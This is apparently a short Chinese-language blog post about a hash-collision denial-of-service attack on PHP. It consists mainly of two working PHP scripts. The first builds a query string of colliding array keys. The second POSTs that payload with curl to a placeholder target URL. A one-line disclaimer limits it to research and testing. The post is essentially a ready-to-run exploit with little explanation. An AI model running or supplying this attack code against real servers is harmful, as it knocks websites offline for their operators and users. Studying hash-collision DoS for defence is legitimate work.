PHP ez 2012-06-20
以下為 Hash DoS 攻擊方式說明,只供 學術研究 及 測試使用,請勿用於攻擊他人伺服器,否則一切責任由攻擊者負責!
只需要利用 PHP 產生 Hash 字串即可,程式碼如下:
<?php
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}
echo ltrim($data,'&');
?>產生的字串如檔案:dosstr
只需利用此字串,帶入到網址後方即可!或者使用POST的方式發送。
例如:http://xxxx.com.tw/index.php?array[0]=0&array[32768]=0&array[65536]=0..... 也可利用以下程式碼進行攻擊測試:
<?php
$host = 'xxx.com/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&'));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
?>標籤: PHP
